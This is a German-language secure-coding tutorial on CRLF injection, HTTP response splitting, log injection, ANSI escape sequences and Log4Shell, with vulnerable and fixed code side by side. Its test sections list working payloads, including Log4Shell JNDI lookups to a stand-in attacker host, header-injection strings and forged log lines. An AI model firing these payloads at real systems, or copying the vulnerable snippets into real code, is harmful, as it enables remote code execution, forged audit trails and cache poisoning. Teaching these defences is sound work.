CRLF- und Log-Injection sind die unauffälligen Geschwister der großen Injection-Klassen. Statt SQL oder Shell zu manipulieren, schmuggelt man Zeilenumbrüche in einen Header oder einen Log-Eintrag — und ändert damit die Interpretation durch HTTP-Parser, Log-Aggregatoren oder SIEM-Systeme. Wirkung reicht von HTTP-Response-Splitting über gefälschte Log-Einträge bis zu Terminal-Eskapaden mit ANSI-Codes. Plus der Log4Shell-Kontext, wo eine Logging-Library selbst zum Interpreter wurde.

CRLF-Injection — die Grundlage

CR (Carriage Return, \r, 0x0D) und LF (Line Feed, \n, 0x0A) sind in HTTP die Trennzeichen zwischen Header-Zeilen. Ein HTTP-Response sieht so aus:

HTTP http-response-structure.txt
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: sessionId=abc123\r\n
\r\n
<html>...</html>

Wenn ein User-Wert ungeschützt in einen Header-Wert eingefügt wird und der Wert ein \r\n enthält, kann ein:e Angreifer:in neue Header oder sogar einen neuen Response-Body einschmuggeln.

Klassisches Beispiel — Redirect mit User-URL:

JavaScript crlf-redirect-vulnerable.js
// Schadhaft
app.get('/redirect', (req, res) => {
  res.setHeader('Location', req.query.url);
  res.status(302).end();
});

Mit url = "https://attacker.example\r\nSet-Cookie: evil=injected":

HTTP crlf-injected-response.txt
HTTP/1.1 302 Found
Location: https://attacker.example
Set-Cookie: evil=injected
Content-Length: 0

Der Angreifer hat einen zusätzlichen Header injiziert. Bei eskalierten Payloads (\r\n\r\n plus Body) lässt sich sogar der gesamte Response-Body kapern — Response-Splitting.

HTTP-Response-Splitting

Voll-eskaliertes CRLF mit Body-Injection sieht so aus:

Plain response-splitting-payload.txt
url = https://example.com/foo\r\n
      Content-Length: 0\r\n
      \r\n
      HTTP/1.1 200 OK\r\n
      Content-Type: text/html\r\n
      Content-Length: 31\r\n
      \r\n
      <html><body>FAKE</body></html>

Der Server gibt zwei Responses zurück. Wenn ein Proxy oder Browser-Cache dazwischen hängt, kann der zweite Response für einen anderen Request gecacht werden — Cache-Poisoning.

Moderne HTTP-Server (Node.js, Express, Go net/http, Java Servlet 4+) blockieren CRLF in Header-Werten standardmäßig — setHeader() mit Newline wirft Error. Damit ist die Klasse in modernem Code selten. Lücken bleiben aber in:

  • Legacy-Servern (alte Tomcat-Versionen, ältere Apache-Configs).
  • Reverse-Proxies mit unsicherer Header-Forwarding-Logik.
  • Custom-Code, der eigene HTTP-Responses zusammensetzt (z. B. CGI-Skripte, eigene Socket-Implementierungen).
  • Templates und Mail-Templates, die HTTP-artige Strukturen aufbauen.

Auch wenn ein Server CRLF generell blockiert: einige Frameworks erlauben CRLF in Set-Cookie-Werten durch Cookie-Library-Bugs.

Beispiel:

JavaScript cookie-crlf-vulnerable.js
// Schadhaft — manche Frameworks escapen Cookie-Werte nicht vollständig
res.cookie('username', req.body.username);

Mit username = "alice\r\nSet-Cookie: role=admin" kann ein zweites Cookie gesetzt werden — wenn die Library Newlines nicht filtert. Moderne Cookie-Libraries (Express cookie-parser, Django, Flask) escapen das korrekt; Custom-Code mit Set-Cookie: ... per setHeader ist riskant.

Schutz:

JavaScript cookie-crlf-secure.js
function sanitizeCookieValue(value) {
  if (/[\r\n]/.test(String(value))) {
    throw new Error('Invalid cookie value');
  }
  return String(value);
}
res.cookie('username', sanitizeCookieValue(req.body.username));

Oder: User-Input niemals direkt als Cookie-Wert nutzen — stattdessen eine kontrollierte ID (userId-Integer) und das Mapping serverseitig halten.

Log-Injection — die unterschätzte Klasse

Log-Injection ist Injection in Log-Dateien und Log-Aggregatoren (ELK, Splunk, Datadog, Loki). Der/die Angreifer:in schreibt durch User-Input gefälschte Log-Einträge in die Logs — was Forensik, Audit und SIEM-Detection sabotiert.

Klassischer Beispielcode:

Python log-injection-vulnerable.py
# Schadhaft
logger.info(f"Login attempt for user: {username}")

Mit username = "alice\n2026-05-16 10:00:00 INFO Login successful for admin":

Plain log-injected-output.txt
2026-05-16 09:58:00 INFO Login attempt for user: alice
2026-05-16 10:00:00 INFO Login successful for admin

Im Log sieht es aus, als hätte ein:e Admin sich erfolgreich angemeldet. Forensik denkt das ist echt. Bei Incident-Response ist das verheerend.

Log-Injection sicher umgehen

1. Newlines escapen vor dem Logging:

Python log-injection-secure.py
def sanitize_for_log(value):
    return (
        str(value)
        .replace('\r', '\\r')
        .replace('\n', '\\n')
        .replace('\t', '\\t')
    )

logger.info(f"Login attempt for user: {sanitize_for_log(username)}")

2. Strukturiertes Logging nutzen (empfohlen):

Python log-injection-structured.py
import structlog
log = structlog.get_logger()

# User-Input wird als Feld serialisiert (JSON-Encoding),
# niemals als Format-String-Teil
log.info("login_attempt", username=username, ip=request.remote_addr)

Bei strukturiertem Logging fließt User-Input in separate Felder, nicht in die Log-Nachricht. JSON-Encoding eskapt Newlines automatisch. Das ist die strukturelle Lösung — analog zu Prepared Statements bei SQL.

3. Log-Format mit klarer Trennung:

Wenn Plain-Text-Logs bleiben, sollte das Format eine eindeutige Trennstruktur haben (z. B. JSON-Lines, Logfmt). Beim Parser-Lesen sind Newlines damit nicht mehr Format-Trenner sondern Daten.

Node.js mit Winston:

JavaScript log-injection-winston.js
const winston = require('winston');
const logger = winston.createLogger({
  format: winston.format.json(),
  transports: [new winston.transports.Console()]
});

logger.info('Login attempt', { username, ip: req.ip });
// Output: {"level":"info","message":"Login attempt","username":"alice","ip":"..."}

Java mit Logback:

Java log-injection-logback.java
// Logback-config mit replace() für Newline-Stripping
// logback.xml:
// <pattern>%date %level %msg%n</pattern>
// ersetzen durch:
// <pattern>%date %level %replace(%msg){'[\r\n]', '_'}%n</pattern>

// Oder besser: structured logging mit logstash-logback-encoder
logger.info("login_attempt user={} ip={}",
            StructuredArguments.value("username", username),
            StructuredArguments.value("ip", ip));

ANSI-Escape-Tricks in Logs

Ein Spezial-Vektor: wenn Logs in Terminals (z. B. tail -f) oder Web-Log-Viewern angesehen werden, können ANSI-Escape-Sequenzen im User-Input das Terminal manipulieren.

Beispiel-Payload:

Plain ansi-escape-payload.txt
username = alice\x1b[2K\x1b[1A                     # Lösche aktuelle und vorherige Zeile
username = alice\x1b[31mPWNED\x1b[0m                # Roter Text "PWNED"
username = alice\x07                                # Bell-Sound

Mögliche Auswirkungen:

  • Zeilen löschen oder überschreiben in Log-Anzeige — verwirrt Forensik.
  • Beleidigender oder irreführender Inhalt in Terminal angezeigt.
  • In sehr alten Terminals: ANSI-Commands für Tastatur-Reprogramming (heute praktisch tot).
  • In Web-Log-Viewern: Wenn das Tool ANSI zu HTML übersetzt und nicht escaped, sogar XSS.

Schutz:

Python ansi-stripping.py
import re

def strip_ansi(value):
    # Entfernt alle Control-Codes (inkl. ANSI-Escape, Bell, Backspace)
    return re.sub(r'[\x00-\x1f\x7f]', '', str(value))

safe = strip_ansi(username)

Oder im strukturierten Log-Format JSON-encoden — Control-Codes werden dann zu  etc., harmlos.

Log4Shell — der Spezialfall

Log4Shell (CVE-2021-44228, Dezember 2021) war eine andere Klasse, gehört aber thematisch hierher: die Java-Logging-Library Log4j hatte eine Funktion namens JNDI Lookup in Log-Messages — $&#123;jndi:ldap://attacker.example/x&#125; in einem User-String führte dazu, dass Log4j die LDAP-URL auflöste, eine Java-Klasse lud und ausführte. RCE durch Logging.

Klassischer Vektor:

Plain log4shell-payload.txt
# User-Agent oder X-Forwarded-For Header:
User-Agent: ${jndi:ldap://attacker.example/Exploit}

# Server loggt mit log4j:
logger.info("Request from " + userAgent);

# log4j wertet ${jndi:...} aus, fetcht LDAP-URL,
# lädt Java-Klasse, ruft sie auf → RCE

Warum das verheerend war:

  • Jede Java-Anwendung mit Log4j 2.x (extrem verbreitet) potentiell betroffen.
  • Auch Apps, die nur User-Agent oder andere Header loggten — und das ist quasi jede.
  • Patch nicht trivial — die Lücke war in der Default-Konfiguration vorhanden.
  • Massenscan begann innerhalb von Stunden nach Disclosure.

Lehre:

  • Logging-Libraries selbst können Interpreter sein. Was bei printf-artigen Log-Calls als „nur ein String" aussieht, kann eine eigene Mini-Sprache haben.
  • Log-Calls als Sink behandeln in Code-Review — nicht nur SQL-/Shell-Sinks.
  • Library-Defaults regelmäßig prüfen — der lookups-Feature in log4j war Default, kaum jemand wusste davon.

Fix in Log4j: 2.17.0+ deaktivierte JNDI-Lookups standardmäßig. Aktuelle Java-Apps sollten mindestens diese Version nutzen.

Test-Strategien

CRLF-Test-Payloads:

Plain crlf-test-payloads.txt
# In URL-Parametern (URL-encoded)
%0d%0aSet-Cookie:%20evil=1
%0d%0aLocation:%20https://attacker.example

# Auch versuchen
%0a       (nur LF)
%0d       (nur CR)
%23%0a    (# + LF — manche Proxies)
%e5%98%8a%e5%98%8d  (Unicode-Variante via UTF-8)

Log-Injection-Test-Payloads:

Plain log-injection-test-payloads.txt
# Newline + falscher Log-Eintrag
alice%0a2026-05-16+ERROR+Critical+system+compromise

# ANSI-Escape
alice%1b%5b31mPWNED%1b%5b0m

# Log4Shell-Probe
${jndi:ldap://canary.attacker.example/x}
${jndi:dns://canary.attacker.example}

Detection-Tools:

  • Burp Suite Pro — Active Scanner findet die meisten CRLF-Klassen.
  • OWASP ZAP — Spider-Plugin mit CRLF-Tests.
  • Custom-Payloads in Bug-Bounty (HackerOne hat einige sehr lehrreiche Reports zu CRLF-zu-Cache-Poisoning).
  • Out-of-Band-Tools wie Interactsh für Log4Shell-Probes.

Statische Analyse:

  • Semgrep-Pattern für setHeader, addHeader, logger.info(f"..."-Patterns mit Variablen.
  • CodeQL Security-Pack hat Regeln für CRLF und Log-Injection.

Häufige Stolperfallen

HTTP-Server blockieren CRLF heute, Reverse-Proxies aber nicht zwingend

Express, Spring, Go net/http und moderne Server werfen Errors bei \r\n in Header-Werten. Reverse-Proxies (nginx, HAProxy) leiten aber teilweise CRLF unverändert weiter — wenn dahinter ein Service eigene HTTP-Antworten zusammenbaut, ist die Klasse wieder offen. Architektur-Audit lohnt sich.

Unicode-CRLF-Bypasses

Manche Filter blockieren \r\n als Bytes — übersehen aber Unicode-Varianten (U+2028 Line Separator, U+2029 Paragraph Separator) oder UTF-8-eingebettete Sequenzen. Moderne HTTP-Server haben das meist gefixt; alte Java/Tomcat-Versionen sind anfällig. Sicher: Bytewise nach 0x0D und 0x0A prüfen, nicht nur per Regex.

Tab-Folding in Headern als Sub-Klasse

HTTP/1.0 erlaubte Header-Werte über mehrere Zeilen mit Leading-Whitespace (sog. Header-Folding). HTTP/1.1 hat das deprecated, manche Parser akzeptieren es noch. Eine \r\n\t-Sequenz kann in alten Stacks als „gleicher Header" interpretiert werden — Bypass möglich. Bei Custom-HTTP-Parser-Code besonders riskant.

Log-Injection im SIEM ist mehr als Kosmetik

Wer in Splunk oder Elastic gefälschte Log-Einträge platzieren kann, kann SIEM-Alerts triggern (DoS für SOC-Team) oder echte Alerts maskieren. In gezielten Angriffen wird das genutzt, um Forensik in die Irre zu führen. Daher: Log-Felder, die User-Input enthalten, im SIEM-Dashboard immer als „untrusted" markieren.

Strukturiertes Logging schützt strukturell

JSON-Lines oder Logfmt mit User-Input als Feld-Wert (nicht Format-String-Teil) escapt Newlines automatisch. Das ist die Equivalent-Schicht zu Prepared Statements bei SQL — kein Filter, sondern strukturelle Trennung von Format und Daten. Lohnt sich für jede neue App.

Cookie-Werte sollten niemals User-Input direkt sein

Selbst wenn die Cookie-Library Newlines escapt, ist es selten sinnvoll, User-Input direkt als Cookie-Wert zu nutzen — Quoting-Eigenheiten, Encoding-Drift zwischen Server und Browser. Besser: Session-ID als Cookie, alle anderen Daten serverseitig in Session-Store. CSRF-Schutz, Set-Cookie-Injection-Schutz, kürzere Cookies — gleich mehrere Probleme gelöst.

Log4Shell ist kein Einzelfall — Lookup-Features sind verbreitet

Spring Expression Language (SpEL) in Log-Patterns, Velocity-Templates in Mail-Logging-Helper, Freemarker in Custom-Loggern — viele Logging-/Templating-Stacks haben Eval-Features als Default. Vor Log4Shell hat das niemand auf dem Radar gehabt. Jetzt: bei jedem Library-Wechsel die Lookup-/Eval-Features aktiv prüfen.

Weiterführende Ressourcen

Externe Quellen

/ Weiter

Zurück zu Injection (SQL/NoSQL/Cmd)

Zur Übersicht